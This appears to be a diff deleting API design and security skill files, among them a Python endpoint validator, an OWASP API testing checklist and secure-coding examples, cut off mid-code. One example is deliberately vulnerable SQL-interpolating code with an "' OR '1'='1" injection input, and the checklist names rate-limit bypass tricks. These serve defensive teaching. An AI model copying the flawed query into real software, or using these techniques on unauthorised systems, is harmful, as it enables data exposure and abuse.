├── Error code (for programmatic handling)
|
||||
├── User message (for display)
|
||||
├── Details (for debugging, field-level errors)
|
||||
├── Request ID (for support)
|
||||
└── NOT internal details (security!)
|
||||
```
|
||||
|
||||
## Pagination Types
|
||||
|
||||
| Type | Best For | Trade-offs |
|
||||
|------|----------|------------|
|
||||
| **Offset** | Simple, jumpable | Performance on large datasets |
|
||||
| **Cursor** | Large datasets | Can't jump to page |
|
||||
| **Keyset** | Performance critical | Requires sortable key |
|
||||
|
||||
### Selection Questions
|
||||
|
||||
1. How large is the dataset?
|
||||
2. Do users need to jump to specific pages?
|
||||
3. Is data frequently changing?
|
||||
@@ -1,40 +0,0 @@
|
||||
# REST Principles
|
||||
|
||||
> Resource-based API design - nouns not verbs.
|
||||
|
||||
## Resource Naming Rules
|
||||
|
||||
```
|
||||
Principles:
|
||||
├── Use NOUNS, not verbs (resources, not actions)
|
||||
├── Use PLURAL forms (/users not /user)
|
||||
├── Use lowercase with hyphens (/user-profiles)
|
||||
├── Nest for relationships (/users/123/posts)
|
||||
└── Keep shallow (max 3 levels deep)
|
||||
```
|
||||
|
||||
## HTTP Method Selection
|
||||
|
||||
| Method | Purpose | Idempotent? | Body? |
|
||||
|--------|---------|-------------|-------|
|
||||
| **GET** | Read resource(s) | Yes | No |
|
||||
| **POST** | Create new resource | No | Yes |
|
||||
| **PUT** | Replace entire resource | Yes | Yes |
|
||||
| **PATCH** | Partial update | No | Yes |
|
||||
| **DELETE** | Remove resource | Yes | No |
|
||||
|
||||
## Status Code Selection
|
||||
|
||||
| Situation | Code | Why |
|
||||
|-----------|------|-----|
|
||||
| Success (read) | 200 | Standard success |
|
||||
| Created | 201 | New resource created |
|
||||
| No content | 204 | Success, nothing to return |
|
||||
| Bad request | 400 | Malformed request |
|
||||
| Unauthorized | 401 | Missing/invalid auth |
|
||||
| Forbidden | 403 | Valid auth, no permission |
|
||||
| Not found | 404 | Resource doesn't exist |
|
||||
| Conflict | 409 | State conflict (duplicate) |
|
||||
| Validation error | 422 | Valid syntax, invalid data |
|
||||
| Rate limited | 429 | Too many requests |
|
||||
| Server error | 500 | Our fault |
|
||||
@@ -1,211 +0,0 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
API Validator - Checks API endpoints for best practices.
|
||||
Validates OpenAPI specs, response formats, and common issues.
|
||||
"""
|
||||
import sys
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
# Fix Windows console encoding for Unicode output
|
||||
try:
|
||||
sys.stdout.reconfigure(encoding='utf-8', errors='replace')
|
||||
sys.stderr.reconfigure(encoding='utf-8', errors='replace')
|
||||
except AttributeError:
|
||||
pass # Python < 3.7
|
||||
|
||||
def find_api_files(project_path: Path) -> list:
|
||||
"""Find API-related files."""
|
||||
patterns = [
|
||||
"**/*api*.ts", "**/*api*.js", "**/*api*.py",
|
||||
"**/routes/*.ts", "**/routes/*.js", "**/routes/*.py",
|
||||
"**/controllers/*.ts", "**/controllers/*.js",
|
||||
"**/endpoints/*.ts", "**/endpoints/*.py",
|
||||
"**/*.openapi.json", "**/*.openapi.yaml",
|
||||
"**/swagger.json", "**/swagger.yaml",
|
||||
"**/openapi.json", "**/openapi.yaml"
|
||||
]
|
||||
|
||||
files = []
|
||||
for pattern in patterns:
|
||||
files.extend(project_path.glob(pattern))
|
||||
|
||||
# Exclude node_modules, etc.
|
||||
return [f for f in files if not any(x in str(f) for x in ['node_modules', '.git', 'dist', 'build', '__pycache__'])]
|
||||
|
||||
def check_openapi_spec(file_path: Path) -> dict:
|
||||
"""Check OpenAPI/Swagger specification."""
|
||||
issues = []
|
||||
passed = []
|
||||
|
||||
try:
|
||||
content = file_path.read_text(encoding='utf-8')
|
||||
|
||||
if file_path.suffix == '.json':
|
||||
spec = json.loads(content)
|
||||
else:
|
||||
# Basic YAML check
|
||||
if 'openapi:' in content or 'swagger:' in content:
|
||||
passed.append("[OK] OpenAPI/Swagger version defined")
|
||||
else:
|
||||
issues.append("[X] No OpenAPI version found")
|
||||
|
||||
if 'paths:' in content:
|
||||
passed.append("[OK] Paths section exists")
|
||||
else:
|
||||
issues.append("[X] No paths defined")
|
||||
|
||||
if 'components:' in content or 'definitions:' in content:
|
||||
passed.append("[OK] Schema components defined")
|
||||
|
||||
return {'file': str(file_path), 'passed': passed, 'issues': issues, 'type': 'openapi'}
|
||||
|
||||
# JSON OpenAPI checks
|
||||
if 'openapi' in spec or 'swagger' in spec:
|
||||
passed.append("[OK] OpenAPI version defined")
|
||||
|
||||
if 'info' in spec:
|
||||
if 'title' in spec['info']:
|
||||
passed.append("[OK] API title defined")
|
||||
if 'version' in spec['info']:
|
||||
passed.append("[OK] API version defined")
|
||||
if 'description' not in spec['info']:
|
||||
issues.append("[!] API description missing")
|
||||
|
||||
if 'paths' in spec:
|
||||
path_count = len(spec['paths'])
|
||||
passed.append(f"[OK] {path_count} endpoints defined")
|
||||
|
||||
# Check each path
|
||||
for path, methods in spec['paths'].items():
|
||||
for method, details in methods.items():
|
||||
if method in ['get', 'post', 'put', 'patch', 'delete']:
|
||||
if 'responses' not in details:
|
||||
issues.append(f"[X] {method.upper()} {path}: No responses defined")
|
||||
if 'summary' not in details and 'description' not in details:
|
||||
issues.append(f"[!] {method.upper()} {path}: No description")
|
||||
|
||||
except Exception as e:
|
||||
issues.append(f"[X] Parse error: {e}")
|
||||
|
||||
return {'file': str(file_path), 'passed': passed, 'issues': issues, 'type': 'openapi'}
|
||||
|
||||
def check_api_code(file_path: Path) -> dict:
|
||||
"""Check API code for common issues."""
|
||||
issues = []
|
||||
passed = []
|
||||
|
||||
try:
|
||||
content = file_path.read_text(encoding='utf-8')
|
||||
|
||||
# Check for error handling
|
||||
error_patterns = [
|
||||
r'try\s*{', r'try:', r'\.catch\(',
|
||||
r'except\s+', r'catch\s*\('
|
||||
]
|
||||
has_error_handling = any(re.search(p, content) for p in error_patterns)
|
||||
if has_error_handling:
|
||||
passed.append("[OK] Error handling present")
|
||||
else:
|
||||
issues.append("[X] No error handling found")
|
||||
|
||||
# Check for status codes
|
||||
status_patterns = [
|
||||
r'status\s*\(\s*\d{3}\s*\)', r'statusCode\s*[=:]\s*\d{3}',
|
||||
r'HttpStatus\.', r'status_code\s*=\s*\d{3}',
|
||||
r'\.status\(\d{3}\)', r'res\.status\('
|
||||
]
|
||||
has_status = any(re.search(p, content) for p in status_patterns)
|
||||
if has_status:
|
||||
passed.append("[OK] HTTP status codes used")
|
||||
else:
|
||||
issues.append("[!] No explicit HTTP status codes")
|
||||
|
||||
# Check for validation
|
||||
validation_patterns = [
|
||||
r'validate', r'schema', r'zod', r'joi', r'yup',
|
||||
r'pydantic', r'@Body\(', r'@Query\('
|
||||
]
|
||||
has_validation = any(re.search(p, content, re.I) for p in validation_patterns)
|
||||
if has_validation:
|
||||
passed.append("[OK] Input validation present")
|
||||
else:
|
||||
issues.append("[!] No input validation detected")
|
||||
|
||||
# Check for auth middleware
|
||||
auth_patterns = [
|
||||
r'auth', r'jwt', r'bearer', r'token',
|
||||
r'middleware', r'guard', r'@Authenticated'
|
||||
]
|
||||
has_auth = any(re.search(p, content, re.I) for p in auth_patterns)
|
||||
if has_auth:
|
||||
passed.append("[OK] Authentication/authorization detected")
|
||||
|
||||
# Check for rate limiting
|
||||
rate_patterns = [r'rateLimit', r'throttle', r'rate.?limit']
|
||||
has_rate = any(re.search(p, content, re.I) for p in rate_patterns)
|
||||
if has_rate:
|
||||
passed.append("[OK] Rate limiting present")
|
||||
|
||||
# Check for logging
|
||||
log_patterns = [r'console\.log', r'logger\.', r'logging\.', r'log\.']
|
||||
has_logging = any(re.search(p, content) for p in log_patterns)
|
||||
if has_logging:
|
||||
passed.append("[OK] Logging present")
|
||||
|
||||
except Exception as e:
|
||||
issues.append(f"[X] Read error: {e}")
|
||||
|
||||
return {'file': str(file_path), 'passed': passed, 'issues': issues, 'type': 'code'}
|
||||
|
||||
def main():
|
||||
target = sys.argv[1] if len(sys.argv) > 1 else "."
|
||||
project_path = Path(target)
|
||||
|
||||
print("\n" + "=" * 60)
|
||||
print(" API VALIDATOR - Endpoint Best Practices Check")
|
||||
print("=" * 60 + "\n")
|
||||
|
||||
api_files = find_api_files(project_path)
|
||||
|
||||
if not api_files:
|
||||
print("[!] No API files found.")
|
||||
print(" Looking for: routes/, controllers/, api/, openapi.json/yaml")
|
||||
sys.exit(0)
|
||||
|
||||
results = []
|
||||
for file_path in api_files[:15]: # Limit
|
||||
if 'openapi' in file_path.name.lower() or 'swagger' in file_path.name.lower():
|
||||
result = check_openapi_spec(file_path)
|
||||
else:
|
||||
result = check_api_code(file_path)
|
||||
results.append(result)
|
||||
|
||||
# Print results
|
||||
total_issues = 0
|
||||
total_passed = 0
|
||||
|
||||
for result in results:
|
||||
print(f"\n[FILE] {result['file']} [{result['type']}]")
|
||||
for item in result['passed']:
|
||||
print(f" {item}")
|
||||
total_passed += 1
|
||||
for item in result['issues']:
|
||||
print(f" {item}")
|
||||
if item.startswith("[X]"):
|
||||
total_issues += 1
|
||||
|
||||
print("\n" + "=" * 60)
|
||||
print(f"[RESULTS] {total_passed} passed, {total_issues} critical issues")
|
||||
print("=" * 60)
|
||||
|
||||
if total_issues == 0:
|
||||
print("[OK] API validation passed")
|
||||
sys.exit(0)
|
||||
else:
|
||||
print("[X] Fix critical issues before deployment")
|
||||
sys.exit(1)
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,122 +0,0 @@
|
||||
# API Security Testing
|
||||
|
||||
> Principles for testing API security. OWASP API Top 10, authentication, authorization testing.
|
||||
|
||||
---
|
||||
|
||||
## OWASP API Security Top 10
|
||||
|
||||
| Vulnerability | Test Focus |
|
||||
|---------------|------------|
|
||||
| **API1: BOLA** | Access other users' resources |
|
||||
| **API2: Broken Auth** | JWT, session, credentials |
|
||||
| **API3: Property Auth** | Mass assignment, data exposure |
|
||||
| **API4: Resource Consumption** | Rate limiting, DoS |
|
||||
| **API5: Function Auth** | Admin endpoints, role bypass |
|
||||
| **API6: Business Flow** | Logic abuse, automation |
|
||||
| **API7: SSRF** | Internal network access |
|
||||
| **API8: Misconfiguration** | Debug endpoints, CORS |
|
||||
| **API9: Inventory** | Shadow APIs, old versions |
|
||||
| **API10: Unsafe Consumption** | Third-party API trust |
|
||||
|
||||
---
|
||||
|
||||
## Authentication Testing
|
||||
|
||||
### JWT Testing
|
||||
|
||||
| Check | What to Test |
|
||||
|-------|--------------|
|
||||
| Algorithm | None, algorithm confusion |
|
||||
| Secret | Weak secrets, brute force |
|
||||
| Claims | Expiration, issuer, audience |
|
||||
| Signature | Manipulation, key injection |
|
||||
|
||||
### Session Testing
|
||||
|
||||
| Check | What to Test |
|
||||
|-------|--------------|
|
||||
| Generation | Predictability |
|
||||
| Storage | Client-side security |
|
||||
| Expiration | Timeout enforcement |
|
||||
| Invalidation | Logout effectiveness |
|
||||
|
||||
---
|
||||
|
||||
## Authorization Testing
|
||||
|
||||
| Test Type | Approach |
|
||||
|-----------|----------|
|
||||
| **Horizontal** | Access peer users' data |
|
||||
| **Vertical** | Access higher privilege functions |
|
||||
| **Context** | Access outside allowed scope |
|
||||
|
||||
### BOLA/IDOR Testing
|
||||
|
||||
1. Identify resource IDs in requests
|
||||
2. Capture request with user A's session
|
||||
3. Replay with user B's session
|
||||
4. Check for unauthorized access
|
||||
|
||||
---
|
||||
|
||||
## Input Validation Testing
|
||||
|
||||
| Injection Type | Test Focus |
|
||||
|----------------|------------|
|
||||
| SQL | Query manipulation |
|
||||
| NoSQL | Document queries |
|
||||
| Command | System commands |
|
||||
| LDAP | Directory queries |
|
||||
|
||||
**Approach:** Test all parameters, try type coercion, test boundaries, check error messages.
|
||||
|
||||
---
|
||||
|
||||
## Rate Limiting Testing
|
||||
|
||||
| Aspect | Check |
|
||||
|--------|-------|
|
||||
| Existence | Is there any limit? |
|
||||
| Bypass | Headers, IP rotation |
|
||||
| Scope | Per-user, per-IP, global |
|
||||
|
||||
**Bypass techniques:** X-Forwarded-For, different HTTP methods, case variations, API versioning.
|
||||
|
||||
---
|
||||
|
||||
## GraphQL Security
|
||||
|
||||
| Test | Focus |
|
||||
|------|-------|
|
||||
| Introspection | Schema disclosure |
|
||||
| Batching | Query DoS |
|
||||
| Nesting | Depth-based DoS |
|
||||
| Authorization | Field-level access |
|
||||
|
||||
---
|
||||
|
||||
## Security Testing Checklist
|
||||
|
||||
**Authentication:**
|
||||
- [ ] Test for bypass
|
||||
- [ ] Check credential strength
|
||||
- [ ] Verify token security
|
||||
|
||||
**Authorization:**
|
||||
- [ ] Test BOLA/IDOR
|
||||
- [ ] Check privilege escalation
|
||||
- [ ] Verify function access
|
||||
|
||||
**Input:**
|
||||
- [ ] Test all parameters
|
||||
- [ ] Check for injection
|
||||
|
||||
**Config:**
|
||||
- [ ] Check CORS
|
||||
- [ ] Verify headers
|
||||
- [ ] Test error handling
|
||||
|
||||
---
|
||||
|
||||
> **Remember:** APIs are the backbone of modern apps. Test them like attackers will.
|
||||
@@ -1,41 +0,0 @@
|
||||
# tRPC Principles
|
||||
|
||||
> End-to-end type safety for TypeScript monorepos.
|
||||
|
||||
## When to Use
|
||||
|
||||
```
|
||||
✅ Perfect fit:
|
||||
├── TypeScript on both ends
|
||||
├── Monorepo structure
|
||||
├── Internal tools
|
||||
├── Rapid development
|
||||
└── Type safety critical
|
||||
|
||||
❌ Poor fit:
|
||||
├── Non-TypeScript clients
|
||||
├── Public API
|
||||
├── Need REST conventions
|
||||
└── Multiple language backends
|
||||
```
|
||||
|
||||
## Key Benefits
|
||||
|
||||
```
|
||||
Why tRPC:
|
||||
├── Zero schema maintenance
|
||||
├── End-to-end type inference
|
||||
├── IDE autocomplete across stack
|
||||
├── Instant API changes reflected
|
||||
└── No code generation step
|
||||
```
|
||||
|
||||
## Integration Patterns
|
||||
|
||||
```
|
||||
Common setups:
|
||||
├── Next.js + tRPC (most common)
|
||||
├── Monorepo with shared types
|
||||
├── Remix + tRPC
|
||||
└── Any TS frontend + backend
|
||||
```
|
||||
@@ -1,22 +0,0 @@
|
||||
# Versioning Strategies
|
||||
|
||||
> Plan for API evolution from day one.
|
||||
|
||||
## Decision Factors
|
||||
|
||||
| Strategy | Implementation | Trade-offs |
|
||||
|----------|---------------|------------|
|
||||
| **URI** | /v1/users | Clear, easy caching |
|
||||
| **Header** | Accept-Version: 1 | Cleaner URLs, harder discovery |
|
||||
| **Query** | ?version=1 | Easy to add, messy |
|
||||
| **None** | Evolve carefully | Best for internal, risky for public |
|
||||
|
||||
## Versioning Philosophy
|
||||
|
||||
```
|
||||
Consider:
|
||||
├── Public API? → Version in URI
|
||||
├── Internal only? → May not need versioning
|
||||
├── GraphQL? → Typically no versions (evolve schema)
|
||||
├── tRPC? → Types enforce compatibility
|
||||
```
|
||||
@@ -1,909 +0,0 @@
|
||||
---
|
||||
name: api-security-best-practices
|
||||
description: "Implement secure API design patterns including authentication, authorization, input validation, rate limiting, and protection against common API vulnerabilities"
|
||||
risk: unknown
|
||||
source: community
|
||||
---
|
||||
|
||||
# API Security Best Practices
|
||||
|
||||
## Overview
|
||||
|
||||
Guide developers in building secure APIs by implementing authentication, authorization, input validation, rate limiting, and protection against common vulnerabilities. This skill covers security patterns for REST, GraphQL, and WebSocket APIs.
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
- Use when designing new API endpoints
|
||||
- Use when securing existing APIs
|
||||
- Use when implementing authentication and authorization
|
||||
- Use when protecting against API attacks (injection, DDoS, etc.)
|
||||
- Use when conducting API security reviews
|
||||
- Use when preparing for security audits
|
||||
- Use when implementing rate limiting and throttling
|
||||
- Use when handling sensitive data in APIs
|
||||
|
||||
## How It Works
|
||||
|
||||
### Step 1: Authentication & Authorization
|
||||
|
||||
I'll help you implement secure authentication:
|
||||
- Choose authentication method (JWT, OAuth 2.0, API keys)
|
||||
- Implement token-based authentication
|
||||
- Set up role-based access control (RBAC)
|
||||
- Secure session management
|
||||
- Implement multi-factor authentication (MFA)
|
||||
|
||||
### Step 2: Input Validation & Sanitization
|
||||
|
||||
Protect against injection attacks:
|
||||
- Validate all input data
|
||||
- Sanitize user inputs
|
||||
- Use parameterized queries
|
||||
- Implement request schema validation
|
||||
- Prevent SQL injection, XSS, and command injection
|
||||
|
||||
### Step 3: Rate Limiting & Throttling
|
||||
|
||||
Prevent abuse and DDoS attacks:
|
||||
- Implement rate limiting per user/IP
|
||||
- Set up API throttling
|
||||
- Configure request quotas
|
||||
- Handle rate limit errors gracefully
|
||||
- Monitor for suspicious activity
|
||||
|
||||
### Step 4: Data Protection
|
||||
|
||||
Secure sensitive data:
|
||||
- Encrypt data in transit (HTTPS/TLS)
|
||||
- Encrypt sensitive data at rest
|
||||
- Implement proper error handling (no data leaks)
|
||||
- Sanitize error messages
|
||||
- Use secure headers
|
||||
|
||||
### Step 5: API Security Testing
|
||||
|
||||
Verify security implementation:
|
||||
- Test authentication and authorization
|
||||
- Perform penetration testing
|
||||
- Check for common vulnerabilities (OWASP API Top 10)
|
||||
- Validate input handling
|
||||
- Test rate limiting
|
||||
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Implementing JWT Authentication
|
||||
|
||||
```markdown
|
||||
## Secure JWT Authentication Implementation
|
||||
|
||||
### Authentication Flow
|
||||
|
||||
1. User logs in with credentials
|
||||
2. Server validates credentials
|
||||
3. Server generates JWT token
|
||||
4. Client stores token securely
|
||||
5. Client sends token with each request
|
||||
6. Server validates token
|
||||
|
||||
### Implementation
|
||||
|
||||
#### 1. Generate Secure JWT Tokens
|
||||
|
||||
\`\`\`javascript
|
||||
// auth.js
|
||||
const jwt = require('jsonwebtoken');
|
||||
const bcrypt = require('bcrypt');
|
||||
|
||||
// Login endpoint
|
||||
app.post('/api/auth/login', async (req, res) => {
|
||||
try {
|
||||
const { email, password } = req.body;
|
||||
|
||||
// Validate input
|
||||
if (!email || !password) {
|
||||
return res.status(400).json({
|
||||
error: 'Email and password are required'
|
||||
});
|
||||
}
|
||||
|
||||
// Find user
|
||||
const user = await db.user.findUnique({
|
||||
where: { email }
|
||||
});
|
||||
|
||||
if (!user) {
|
||||
// Don't reveal if user exists
|
||||
return res.status(401).json({
|
||||
error: 'Invalid credentials'
|
||||
});
|
||||
}
|
||||
|
||||
// Verify password
|
||||
const validPassword = await bcrypt.compare(
|
||||
password,
|
||||
user.passwordHash
|
||||
);
|
||||
|
||||
if (!validPassword) {
|
||||
return res.status(401).json({
|
||||
error: 'Invalid credentials'
|
||||
});
|
||||
}
|
||||
|
||||
// Generate JWT token
|
||||
const token = jwt.sign(
|
||||
{
|
||||
userId: user.id,
|
||||
email: user.email,
|
||||
role: user.role
|
||||
},
|
||||
process.env.JWT_SECRET,
|
||||
{
|
||||
expiresIn: '1h',
|
||||
issuer: 'your-app',
|
||||
audience: 'your-app-users'
|
||||
}
|
||||
);
|
||||
|
||||
// Generate refresh token
|
||||
const refreshToken = jwt.sign(
|
||||
{ userId: user.id },
|
||||
process.env.JWT_REFRESH_SECRET,
|
||||
{ expiresIn: '7d' }
|
||||
);
|
||||
|
||||
// Store refresh token in database
|
||||
await db.refreshToken.create({
|
||||
data: {
|
||||
token: refreshToken,
|
||||
userId: user.id,
|
||||
expiresAt: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
|
||||
}
|
||||
});
|
||||
|
||||
res.json({
|
||||
token,
|
||||
refreshToken,
|
||||
expiresIn: 3600
|
||||
});
|
||||
|
||||
} catch (error) {
|
||||
console.error('Login error:', error);
|
||||
res.status(500).json({
|
||||
error: 'An error occurred during login'
|
||||
});
|
||||
}
|
||||
});
|
||||
\`\`\`
|
||||
|
||||
#### 2. Verify JWT Tokens (Middleware)
|
||||
|
||||
\`\`\`javascript
|
||||
// middleware/auth.js
|
||||
const jwt = require('jsonwebtoken');
|
||||
|
||||
function authenticateToken(req, res, next) {
|
||||
// Get token from header
|
||||
const authHeader = req.headers['authorization'];
|
||||
const token = authHeader && authHeader.split(' ')[1]; // Bearer TOKEN
|
||||
|
||||
if (!token) {
|
||||
return res.status(401).json({
|
||||
error: 'Access token required'
|
||||
});
|
||||
}
|
||||
|
||||
// Verify token
|
||||
jwt.verify(
|
||||
token,
|
||||
process.env.JWT_SECRET,
|
||||
{
|
||||
issuer: 'your-app',
|
||||
audience: 'your-app-users'
|
||||
},
|
||||
(err, user) => {
|
||||
if (err) {
|
||||
if (err.name === 'TokenExpiredError') {
|
||||
return res.status(401).json({
|
||||
error: 'Token expired'
|
||||
});
|
||||
}
|
||||
return res.status(403).json({
|
||||
error: 'Invalid token'
|
||||
});
|
||||
}
|
||||
|
||||
// Attach user to request
|
||||
req.user = user;
|
||||
next();
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
module.exports = { authenticateToken };
|
||||
\`\`\`
|
||||
|
||||
#### 3. Protect Routes
|
||||
|
||||
\`\`\`javascript
|
||||
const { authenticateToken } = require('./middleware/auth');
|
||||
|
||||
// Protected route
|
||||
app.get('/api/user/profile', authenticateToken, async (req, res) => {
|
||||
try {
|
||||
const user = await db.user.findUnique({
|
||||
where: { id: req.user.userId },
|
||||
select: {
|
||||
id: true,
|
||||
email: true,
|
||||
name: true,
|
||||
// Don't return passwordHash
|
||||
}
|
||||
});
|
||||
|
||||
res.json(user);
|
||||
} catch (error) {
|
||||
res.status(500).json({ error: 'Server error' });
|
||||
}
|
||||
});
|
||||
\`\`\`
|
||||
|
||||
#### 4. Implement Token Refresh
|
||||
|
||||
\`\`\`javascript
|
||||
app.post('/api/auth/refresh', async (req, res) => {
|
||||
const { refreshToken } = req.body;
|
||||
|
||||
if (!refreshToken) {
|
||||
return res.status(401).json({
|
||||
error: 'Refresh token required'
|
||||
});
|
||||
}
|
||||
|
||||
try {
|
||||
// Verify refresh token
|
||||
const decoded = jwt.verify(
|
||||
refreshToken,
|
||||
process.env.JWT_REFRESH_SECRET
|
||||
);
|
||||
|
||||
// Check if refresh token exists in database
|
||||
const storedToken = await db.refreshToken.findFirst({
|
||||
where: {
|
||||
token: refreshToken,
|
||||
userId: decoded.userId,
|
||||
expiresAt: { gt: new Date() }
|
||||
}
|
||||
});
|
||||
|
||||
if (!storedToken) {
|
||||
return res.status(403).json({
|
||||
error: 'Invalid refresh token'
|
||||
});
|
||||
}
|
||||
|
||||
// Generate new access token
|
||||
const user = await db.user.findUnique({
|
||||
where: { id: decoded.userId }
|
||||
});
|
||||
|
||||
const newToken = jwt.sign(
|
||||
{
|
||||
userId: user.id,
|
||||
email: user.email,
|
||||
role: user.role
|
||||
},
|
||||
process.env.JWT_SECRET,
|
||||
{ expiresIn: '1h' }
|
||||
);
|
||||
|
||||
res.json({
|
||||
token: newToken,
|
||||
expiresIn: 3600
|
||||
});
|
||||
|
||||
} catch (error) {
|
||||
res.status(403).json({
|
||||
error: 'Invalid refresh token'
|
||||
});
|
||||
}
|
||||
});
|
||||
\`\`\`
|
||||
|
||||
### Security Best Practices
|
||||
|
||||
- ✅ Use strong JWT secrets (256-bit minimum)
|
||||
- ✅ Set short expiration times (1 hour for access tokens)
|
||||
- ✅ Implement refresh tokens for long-lived sessions
|
||||
- ✅ Store refresh tokens in database (can be revoked)
|
||||
- ✅ Use HTTPS only
|
||||
- ✅ Don't store sensitive data in JWT payload
|
||||
- ✅ Validate token issuer and audience
|
||||
- ✅ Implement token blacklisting for logout
|
||||
```
|
||||
|
||||
|
||||
### Example 2: Input Validation and SQL Injection Prevention
|
||||
|
||||
```markdown
|
||||
## Preventing SQL Injection and Input Validation
|
||||
|
||||
### The Problem
|
||||
|
||||
**❌ Vulnerable Code:**
|
||||
\`\`\`javascript
|
||||
// NEVER DO THIS - SQL Injection vulnerability
|
||||
app.get('/api/users/:id', async (req, res) => {
|
||||
const userId = req.params.id;
|
||||
|
||||
// Dangerous: User input directly in query
|
||||
const query = \`SELECT * FROM users WHERE id = '\${userId}'\`;
|
||||
const user = await db.query(query);
|
||||
|
||||
res.json(user);
|
||||
});
|
||||
|
||||
// Attack example:
|
||||
// GET /api/users/1' OR '1'='1
|
||||
// Returns all users!
|
||||
\`\`\`
|
||||
|
||||
### The Solution
|
||||
|
||||
#### 1. Use Parameterized Queries
|
||||
|
||||
\`\`\`javascript
|
||||
// ✅ Safe: Parameterized query
|
||||
app.get('/api/users/:id', async (req, res) => {
|
||||
const userId = req.params.id;
|
||||
|
||||
// Validate input first
|
||||
if (!userId || !/^\d+$/.test(userId)) {
|
||||
return res.status(400).json({
|
||||
error: 'Invalid user ID'
|
||||
});
|
||||
}
|
||||
|
||||
// Use parameterized query
|
||||
const user = await db.query(
|
||||
'SELECT id, email, name FROM users WHERE id = $1',
|
||||
[userId]
|
||||
);
|
||||
|
||||
if (!user) {
|
||||
return res.status(404).json({
|
||||
error: 'User not found'
|
||||
});
|
||||
}
|
||||
|
||||
res.json(user);
|
||||
});
|
||||
\`\`\`
|
||||
|
||||
#### 2. Use ORM with Proper Escaping
|
||||
|
||||
\`\`\`javascript
|
||||
// ✅ Safe: Using Prisma ORM
|
||||
app.get('/api/users/:id', async (req, res) => {
|
||||
const userId = parseInt(req.params.id);
|
||||
|
||||
if (isNaN(userId)) {
|
||||
return res.status(400).json({
|
||||
error: 'Invalid user ID'
|
||||
});
|
||||
}
|
||||
|
||||
const user = await prisma.user.findUnique({
|
||||
where: { id: userId },
|
||||
select: {
|
||||
id: true,
|
||||
email: true,
|
||||
name: true,
|
||||
// Don't select sensitive fields
|
||||
}
|
||||
});
|
||||
|
||||
if (!user) {
|
||||
return res.status(404).json({
|
||||
error: 'User not found'
|
||||
});
|
||||
}
|
||||
|
||||
res.json(user);
|
||||
});
|
||||
\`\`\`
|
||||
|
||||
#### 3. Implement Request Validation with Zod
|
||||
|
||||
\`\`\`javascript
|
||||
const { z } = require('zod');
|
||||
|
||||
// Define validation schema
|
||||
const createUserSchema = z.object({
|
||||
email: z.string().email('Invalid email format'),
|
||||
password: z.string()
|
||||
.min(8, 'Password must be at least 8 characters')
|
||||
.regex(/[A-Z]/, 'Password must contain uppercase letter')
|
||||
.regex(/[a-z]/, 'Password must contain lowercase letter')
|
||||
.regex(/[0-9]/, 'Password must contain number'),
|
||||
name: z.string()
|
||||
.min(2, 'Name must be at least 2 characters')
|
||||
.max(100, 'Name too long'),
|
||||
age: z.number()
|
||||
.int('Age must be an integer')
|
||||
.min(18, 'Must be 18 or older')
|
||||
.max(120, 'Invalid age')
|
||||
.optional()
|
||||
});
|
||||
|
||||
// Validation middleware
|
||||
function validateRequest(schema) {
|
||||
return (req, res, next) => {
|
||||
try {
|
||||
schema.parse(req.body);
|
||||
next();
|
||||
} catch (error) {
|
||||
res.status(400).json({
|
||||
error: 'Validation failed',
|
||||
details: error.errors
|
||||
});
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
// Use validation
|
||||
app.post('/api/users',
|
||||
validateRequest(createUserSchema),
|
||||
async (req, res) => {
|
||||
// Input is validated at this point
|
||||
const { email, password, name, age } = req.body;
|
||||
|
||||
// Hash password
|
||||
const passwordHash = await bcrypt.hash(password, 10);
|
||||
|
||||
// Create user
|
||||
const user = await prisma.user.create({
|
||||
data: {
|
||||
email,
|
||||
passwordHash,
|
||||
name,
|
||||
age
|
||||
}
|
||||
});
|
||||
|
||||
// Don't return password hash
|
||||
const { passwordHash: _, ...userWithoutPassword } = user;
|
||||
res.status(201).json(userWithoutPassword);
|
||||
}
|
||||
);
|
||||
\`\`\`
|
||||
|
||||
#### 4. Sanitize Output to Prevent XSS
|
||||
|
||||
\`\`\`javascript
|
||||
const DOMPurify = require('isomorphic-dompurify');
|
||||
|
||||
app.post('/api/comments', authenticateToken, async (req, res) => {
|
||||
const { content } = req.body;
|
||||
|
||||
// Validate
|
||||
if (!content || content.length > 1000) {
|
||||
return res.status(400).json({
|
||||
error: 'Invalid comment content'
|
||||
});
|
||||
}
|
||||
|
||||
// Sanitize HTML to prevent XSS
|
||||
const sanitizedContent = DOMPurify.sanitize(content, {
|
||||
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
|
||||
ALLOWED_ATTR: ['href']
|
||||
});
|
||||
|
||||
const comment = await prisma.comment.create({
|
||||
data: {
|
||||
content: sanitizedContent,
|
||||
userId: req.user.userId
|
||||
}
|
||||
});
|
||||
|
||||
res.status(201).json(comment);
|
||||
});
|
||||
\`\`\`
|
||||
|
||||
### Validation Checklist
|
||||
|
||||
- [ ] Validate all user inputs
|
||||
- [ ] Use parameterized queries or ORM
|
||||
- [ ] Validate data types (string, number, email, etc.)
|
||||
- [ ] Validate data ranges (min/max length, value ranges)
|
||||
- [ ] Sanitize HTML content
|
||||
- [ ] Escape special characters
|
||||
- [ ] Validate file uploads (type, size, content)
|
||||
- [ ] Use allowlists, not blocklists
|
||||
```
|
||||
|
||||
|
||||
### Example 3: Rate Limiting and DDoS Protection
|
||||
|
||||
```markdown
|
||||
## Implementing Rate Limiting
|
||||
|
||||
### Why Rate Limiting?
|
||||
|
||||
- Prevent brute force attacks
|
||||
- Protect against DDoS
|
||||
- Prevent API abuse
|
||||
- Ensure fair usage
|
||||
- Reduce server costs
|
||||
|
||||
### Implementation with Express Rate Limit
|
||||
|
||||
\`\`\`javascript
|
||||
const rateLimit = require('express-rate-limit');
|
||||
const RedisStore = require('rate-limit-redis');
|
||||
const Redis = require('ioredis');
|
||||
|
||||
// Create Redis client
|
||||
const redis = new Redis({
|
||||
host: process.env.REDIS_HOST,
|
||||
port: process.env.REDIS_PORT
|
||||
});
|
||||
|
||||
// General API rate limit
|
||||
const apiLimiter = rateLimit({
|
||||
store: new RedisStore({
|
||||
client: redis,
|
||||
prefix: 'rl:api:'
|
||||
}),
|
||||
